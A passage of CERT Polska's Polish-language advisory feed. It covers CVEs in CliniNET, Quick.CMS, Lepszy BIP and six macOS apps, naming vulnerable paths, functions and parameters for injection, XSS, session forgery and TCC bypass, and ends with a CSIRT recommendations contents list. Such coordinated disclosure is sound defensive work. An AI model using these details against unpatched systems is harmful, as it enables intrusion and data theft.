&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30040"&gt;CVE-2025-30040&lt;/a&gt;: Po wykonaniu zapytania GET &lt;code&gt;/cgi-bin/CliniNET.prd/utils/userlogxls.pl&lt;/code&gt;, bez uwierzytelnienia zwracany jest plik zawierający dane z ID sesji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30041"&gt;CVE-2025-30041&lt;/a&gt;: Ścieżki: &lt;code&gt;/cgi-bin/CliniNET.prd/utils/userlogstat.pl&lt;/code&gt;, &lt;code&gt;/cgi-bin/CliniNET.prd/utils/usrlogstat.pl&lt;/code&gt;, &lt;code&gt;/cgi-bin/CliniNET.prd/utils/dblogstat.pl&lt;/code&gt; udostępniają dane zawierające ID sesji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30048"&gt;CVE-2025-30048&lt;/a&gt;: Endpoint &lt;code&gt;serverConfig&lt;/code&gt; zwracający konfigurację modułu, w tym poświadczenia, jest dostępny bez uwierzytelnienia.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30055"&gt;CVE-2025-30055&lt;/a&gt;: Funkcja &lt;code&gt;system&lt;/code&gt; przyjmuje jako argument niezaufane dane od użytkownika. W przypadku włączonej opcji EnableJSCaching możliwe jest wykonanie dowolnego kodu przekazanego jako parametr Module.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30056"&gt;CVE-2025-30056&lt;/a&gt;: Funkcja RunCommand przyjmuje dowolny parametr, który jest przekazywany do wykonania w shell. Atakujący może w ten sposób doprowadzić do wykonania dowolnego kodu przez system.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30057"&gt;CVE-2025-30057&lt;/a&gt;: W UHCRTFDoc przez parametr filename występuje możliwość wykonania dowolnego kodu poprzez wstrzyknięcia poleceń do system() w funkcji &lt;code&gt;ConvertToPDF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30058"&gt;CVE-2025-30058&lt;/a&gt;: W usłudze &lt;code&gt;PatientService.pl&lt;/code&gt;, w funkcji &lt;code&gt;getPatientIdentifier&lt;/code&gt; istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr &lt;code&gt;pesel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30059"&gt;CVE-2025-30059&lt;/a&gt;: W usłudze &lt;code&gt;PrepareCDExportJSON.pl&lt;/code&gt;, w funkcji &lt;code&gt;getPerfServiceIds&lt;/code&gt; istnieje możliwość wstrzyknięcia polecenia SQL.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30060"&gt;CVE-2025-30060&lt;/a&gt;: W usłudze &lt;code&gt;ReturnUserUnitsXML.pl&lt;/code&gt;, w funkcji &lt;code&gt;getUserInfo&lt;/code&gt; istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr &lt;code&gt;UserID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30061"&gt;CVE-2025-30061&lt;/a&gt;: W usłudze &lt;code&gt;utils/Reporter/OpenReportWindow.pl&lt;/code&gt; istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr &lt;code&gt;UserID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30063"&gt;CVE-2025-30063&lt;/a&gt;: Plik konfiguracyjny zawierający loginy i hasła do bazy danych jest możliwy do odczytania przez dowolnego lokalnego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30064"&gt;CVE-2025-30064&lt;/a&gt;: Niedostatecznie zabezpieczona wewnętrzna funkcjonalność pozwalająca na generowanie sesji dla dowolnych użytkowników. Funkcja &lt;code&gt;decodeParam&lt;/code&gt; sprawdza JWT, ale nie weryfikuje, jaki algorytm został użyty do podpisu. Atakujący może w ten sposób za pomocą parametru &lt;code&gt;ex:action&lt;/code&gt; w funkcji &lt;code&gt;VerifyUserByThrustedService&lt;/code&gt; wygenerować sesję dla dowolnego użytkownika.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maciejowi Kazulakowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu OpenSolution Quick.CMS oraz Quick.CMS.Ext</title><link href="https://cert.pl/posts/2025/08/CVE-2025-54172/" rel="alternate"></link><published>2025-08-20T12:00:00+01:00</published><updated>2025-08-20T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-20:/posts/2025/08/CVE-2025-54172/</id><summary type="html">W oprogramowaniu OpenSolution Quick.CMS oraz Quick.CMS.Ext wykryto 3 podatności różnego typu (CVE-2025-54172, CVE-2025-54174 oraz CVE-2025-54175).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution Quick.CMS oraz Quick.CMS.Ext i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54172"&gt;CVE-2025-54172&lt;/a&gt;: Quick.CMS jest podatny na atak typu Stored XSS w parametrze &lt;code&gt;sTitle&lt;/code&gt; w funkcjonalności edytora stron. Atakujący z uprawnieniami administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Zwykły użytkownik z uprawnieniami administratora nie jest w stanie umieścić żadnych skryptów JS na stronie.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54174"&gt;CVE-2025-54174&lt;/a&gt;: Quick.CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności tworzenia artykułów. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST tworzące szkodliwy artykuł z treścią określoną przez atakującego.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54175"&gt;CVE-2025-54175&lt;/a&gt;: Quick.CMS.Ext jest podatny na atak typu Reflected XSS w parametrze &lt;code&gt;sFileName&lt;/code&gt; w funkcjonalności przeglądarki miniaturek. Atakujący może przygotować adres URL, którego otwarcie spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Zmiana domyślnej ścieżki prowadzącej do panelu administracyjnego (zgodnie z zaleceniami wyświetlanymi podczas instalacji) utrudnia eksploatację powyższych podatności, ale jej nie uniemożliwia.&lt;/p&gt;
&lt;p&gt;Dostawca rozwiązania został powiadomiony o tych podatnościach, lecz nie udzielił informacji o zakresie podatnych wersji. Jedynie wersja 6.8 została przetestowana i potwierdzona jako podatna, inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Akcess-Net Lepszy BIP</title><link href="https://cert.pl/posts/2025/08/CVE-2025-7761/" rel="alternate"></link><published>2025-08-14T11:55:00+01:00</published><updated>2025-08-14T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-14:/posts/2025/08/CVE-2025-7761/</id><summary type="html">W oprogramowaniu Akcess-Net Lepszy BIP wykryto podatność typu Cross-site Scripting (XSS) (CVE-2025-7761).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Akcess-Net Lepszy BIP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-7761"&gt;CVE-2025-7761&lt;/a&gt;: Lepszy BIP jest podatny na atak typu Reflected Cross-Site Scripting (XSS). Niewłaściwa walidacja danych wejściowych w formularzu index.php w jednym z parametrów umożliwia wykonanie dowolnego kodu JavaScript w przeglądarce ofiary po otwarciu specjalnie spreparowanego adresu URL.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił żadnej odpowiedzi. Potencjalnie wszystkie wersje są podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność TCC Bypass w sześciu aplikacjach na MacOS</title><link href="https://cert.pl/posts/2025/08/tcc-bypass/" rel="alternate"></link><published>2025-08-11T15:00:00+01:00</published><updated>2025-08-11T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-11:/posts/2025/08/tcc-bypass/</id><summary type="html">W oprogramowaniu GIMP (CVE-2025-8672), Mosh-Pro (CVE-2025-53811), Cursor (CVE-2025-9190), MacVim (CVE-2025-8597), Nozbe (CVE-2025-53813) oraz Invoice Ninja (CVE-2025-8700) na systemy MacOS wykryto podatności umożliwiające atak typu TCC Bypass.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu GIMP, Mosh-Pro, Cursor, MacVim, Nozbe oraz Invoice Ninja i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8672"&gt;CVE-2025-8672&lt;/a&gt;: Wersja GIMP dla macOS zawiera interpreter Pythona, który dziedziczy uprawnienia TCC (Transparency, Consent, and Control) nadane przez użytkownika głównej aplikacji.
Atakujący z dostępem do lokalnego konta użytkownika może uruchomić ten interpreter z dowolnymi poleceniami lub skryptami, wykorzystując wcześniej nadane uprawnienia TCC do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 3.1.4.2 programu GIMP.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-53811"&gt;CVE-2025-53811&lt;/a&gt;: Mosh-Pro na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.&lt;/p&gt;
&lt;p&gt;Problem został wykryty w wersji 1.3.2 programu Mosh-Pro. Ponieważ autorzy nie odpowiedzieli na wiadomości od nas, status poprawek pozostaje nieznany.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9190"&gt;CVE-2025-9190&lt;/a&gt;: Cursor na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.&lt;/p&gt;
&lt;p&gt;Problem został wykryty w wersji 15.4.1 programu Cursor. Autorzy projektu zdecydowali się nie naprawiać tej podatności, ponieważ scenariusz obejmujący lokalnego atakującego wykracza poza ich zdefiniowany model zagrożeń.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-53813"&gt;CVE-2025-53813&lt;/a&gt;: Nozbe na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 2025.11 programu Nozbe.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8597"&gt;CVE-2025-8597&lt;/a&gt;: Konfiguracja MacVim w systemie macOS, a konkretnie obecność uprawnienia „com.apple.security.get-task-allow”, umożliwia lokalnym atakującym z nieuprzywilejowanym dostępem (np. poprzez złośliwą aplikację) podłączenie debugera, odczyt lub modyfikację pamięci procesu, wstrzyknięcie kodu w kontekście aplikacji mimo korzystania z Hardened Runtime oraz ominięcie mechanizmu TCC (Transparency, Consent, and Control). &lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wydaniu r181.2.&lt;/p&gt;
&lt;p&gt;Podatność&lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8700"&gt;CVE-2025-8700&lt;/a&gt;: Konfiguracja Invoice Ninja w systemie macOS, a konkretnie obecność uprawnienia „com.apple.security.get-task-allow”, umożliwia lokalnym atakującym z nieuprzywilejowanym dostępem (np. poprzez złośliwą aplikację) podłączenie debugera, odczyt lub modyfikację pamięci procesu, wstrzyknięcie kodu w kontekście aplikacji mimo korzystania z Hardened Runtime oraz ominięcie mechanizmu TCC (Transparency, Consent, and Control). &lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 5.0.175.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Zgodnie z dokumentacją Apple, gdy zwykły użytkownik (nie root) uruchamia aplikację z uprawnieniem debugowania, system wyświetla okno autoryzacji proszące o dane uwierzytelniające administratora systemu. Ponieważ taki monit nie pojawia się, gdy proces docelowy posiada uprawnienie „get-task-allow”, obecność tego uprawnienia została uznana za podatność, ponieważ eliminuje jeden krok potrzebny do przeprowadzenia ataku.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;We wszystkich przypadkach dostęp atakującego jest ograniczony uprawnieniami, które użytkownik nadał danej podatnej aplikacji. 
Dostęp do innych zasobów, które nie zostały wcześniej zatwierdzone w ramach TCC, spowoduje wyświetlenie monitu o zgodę w imieniu podatnej aplikacji, co może posłużyć do ukrycia złośliwego działania atakującego.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi z zespołu AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Rekomendacje dla ustanawiania zespołów CSIRT</title><link href="https://cert.pl/posts/2025/08/rekomendacje-csirt/" rel="alternate"></link><published>2025-08-07T12:00:00+01:00</published><updated>2025-08-07T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-07:/posts/2025/08/rekomendacje-csirt/</id><summary type="html">Oddajemy w Państwa ręce dokument, którego podstawowym celem jest wsparcie w procesie ustanawiania CSIRT-ów oraz rozwijania ich zdolności operacyjnych. Chcemy, żeby proces tworzenia zespołów cyberbezpieczeństwa przebiegał w sposób uporządkowany, a same zespoły działały spójnie i porównywalnie.</summary><content type="html">&lt;p&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf" class="report-download"&gt;
  &lt;img src="/uploads/2025/08/rekomendacje-csirt/thumbnail.jpg" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz rekomendacje (PDF, 1.5MB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Oddajemy w Państwa ręce dokument, którego podstawowym celem jest wsparcie w procesie ustanawiania CSIRT-ów oraz rozwijania ich zdolności operacyjnych. Pierwsze, niepubliczne wydanie niniejszych rekomendacji, zostało przygotowane z myślą o powstawaniu CSIRT-ów sektorowych zgodnie z projektem nowelizacji ustawy o krajowym systemie cyberbezpieczeństwa. Chcemy, żeby proces tworzenia zespołów cyberbezpieczeństwa przebiegał w sposób uporządkowany, a same zespoły działały spójnie i porównywalnie. W związku z tym zależy nam, by powstające CSIRT-y osiągały co najmniej poziom podstawowej dojrzałości (Basic) zgodnie z &lt;a href="https://www.enisa.europa.eu/topics/incident-response/csirt-capabilities/csirt-maturity"&gt;ENISA CSIRT Maturity Framework&lt;/a&gt;.  &lt;/p&gt;
&lt;p&gt;Dzięki temu CSIRT-y będą mogły skutecznie wykonywać powierzone zadania oraz produktywnie współpracować z CSIRT-ami poziomu krajowego lub CSIRT-ami sektorowymi. To z kolei umożliwi organizacjom lepsze zarządzanie ryzykiem zakłóceń w funkcjonowaniu usług. Zachęcamy do uwzględnienia naszych rekomendacji podczas tworzenia zespołów cyberbezpieczeństwa oraz do dzielenia się swoimi doświadczeniami z innymi instytucjami, które stają przed podobnym wyzwaniem. &lt;/p&gt;
&lt;p&gt;W dokumencie zostały przedstawione praktyczne porady dotyczące organizacji i funkcjonowania zespołów CSIRT. Rekomendacje kierowane są przede wszystkim do osób odpowiedzialnych za tworzenie zespołów cyberbezpieczeństwa w podmiotach krajowego systemu cyberbezpieczeństwa, ale również do pracowników innych podmiotów, w tym komercyjnych, które podejmą decyzję o powołaniu podobnego zespołu. Dokument ma charakter wspomagający – nie jest wiążący, lecz jego stosowanie umożliwi ujednolicenie zasad oraz zwiększy szanse na sprawne i zgodne z regulacjami funkcjonowanie zespołu, a także wpłynie na harmonijną współpracę z zespołami CSIRT poziomu krajowego i CSIRT-ami sektorowymi. &lt;/p&gt;
&lt;p&gt;Niniejsze rekomendacje dotyczą zespołów CSIRT – zespołów reagowania na incydenty bezpieczeństwa komputerowego, jednak można je odnieść odpowiednio również do innych zespołów bezpieczeństwa komputerowego, takich jak CERT, SOC czy ISAC.&lt;/p&gt;
&lt;p&gt;Zachęcamy do uwzględnienia naszych rekomendacji podczas tworzenia lub rozwijania zespołów cyberbezpieczeństwa. Dobrej lektury!&lt;/p&gt;
&lt;p&gt;Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo
&lt;strong&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf" download&gt;pobierz plik z rekomendacjami&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=5"&gt;&lt;strong&gt;Wprowadzenie&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;4&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=5"&gt;Cele rekomendacji&lt;span&gt;&lt;/span&gt;&lt;em&gt;4&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=5"&gt;Zakres stosowania rekomendacji&lt;span&gt;&lt;/span&gt;&lt;em&gt;4&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=6"&gt;Metodyka i przyjęte założenia&lt;span&gt;&lt;/span&gt;&lt;em&gt;5&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=9"&gt;Podstawy prawne i powiązane regulacje&lt;span&gt;&lt;/span&gt;&lt;em&gt;8&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=10"&gt;Sposób korzystania z rekomendacji&lt;span&gt;&lt;/span&gt;&lt;em&gt;9&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=10"&gt;Najważniejsze definicje i skróty&lt;span&gt;&lt;/span&gt;&lt;em&gt;9&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=12"&gt;&lt;strong&gt;Organizacja (O)&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;11&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=12"&gt;Mandat (O-1)&lt;span&gt;&lt;/span&gt;&lt;em&gt;11&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=13"&gt;Constituency (O-2)&lt;span&gt;&lt;/span&gt;&lt;em&gt;12&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=15"&gt;Uprawnienia (O-3)&lt;span&gt;&lt;/span&gt;&lt;em&gt;14&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=17"&gt;Odpowiedzialność (O-4)&lt;span&gt;&lt;/span&gt;&lt;em&gt;16&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=18"&gt;Opis świadczonych usług (O-5)&lt;span&gt;&lt;/span&gt;&lt;em&gt;17&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=22"&gt;Polityka komunikacji z mediami (O-6)&lt;span&gt;&lt;/span&gt;&lt;em&gt;21&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=23"&gt;Opis poziomu świadczenia usług (O-7)&lt;span&gt;&lt;/span&gt;&lt;em&gt;22&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=24"&gt;Klasyfikacja incydentów (O-8)&lt;span&gt;&lt;/span&gt;&lt;em&gt;23&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=26"&gt;Udział w systemach współpracy CSIRT (O-9)&lt;span&gt;&lt;/span&gt;&lt;em&gt;25&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=27"&gt;Ramy organizacyjne zespołu (O-10)&lt;span&gt;&lt;/span&gt;&lt;em&gt;26&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=28"&gt;Polityka bezpieczeństwa (O-11)&lt;span&gt;&lt;/span&gt;&lt;em&gt;27&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=30"&gt;&lt;strong&gt;Zasoby ludzkie (H)&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;29&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=30"&gt;Kodeks postępowania (H-1)&lt;span&gt;&lt;/span&gt;&lt;em&gt;29&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=31"&gt;Odporność kadrowa (H-2)&lt;span&gt;&lt;/span&gt;&lt;em&gt;30&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=33"&gt;Opis umiejętności (H-3)&lt;span&gt;&lt;/span&gt;&lt;em&gt;32&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=35"&gt;Rozwój kompetencji członków zespołu (H-4)&lt;span&gt;&lt;/span&gt;&lt;em&gt;34&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=36"&gt;Szkolenia techniczne (H-5)&lt;span&gt;&lt;/span&gt;&lt;em&gt;35&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=37"&gt;Szkolenia z umiejętności miękkich (H-6)&lt;span&gt;&lt;/span&gt;&lt;em&gt;36&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=38"&gt;Budowanie sieci kontaktów (H-7)&lt;span&gt;&lt;/span&gt;&lt;em&gt;37&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=39"&gt;&lt;strong&gt;Narzędzia (T)&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;38&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=40"&gt;Zasoby i konfiguracje IT (T-1)&lt;span&gt;&lt;/span&gt;&lt;em&gt;39&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=42"&gt;Źródła informacji (T-2)&lt;span&gt;&lt;/span&gt;&lt;em&gt;41&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=44"&gt;Zintegrowany system komunikacji (T-3)&lt;span&gt;&lt;/span&gt;&lt;em&gt;43&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=46"&gt;System śledzenia incydentów (T-4)&lt;span&gt;&lt;/span&gt;&lt;em&gt;45&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=47"&gt;Odporne połączenia głosowe i komunikacja tekstowa (T-5, T-6)&lt;span&gt;&lt;/span&gt;&lt;em&gt;46&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=48"&gt;Stały dostępu do internetu (T-7)&lt;span&gt;&lt;/span&gt;&lt;em&gt;47&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
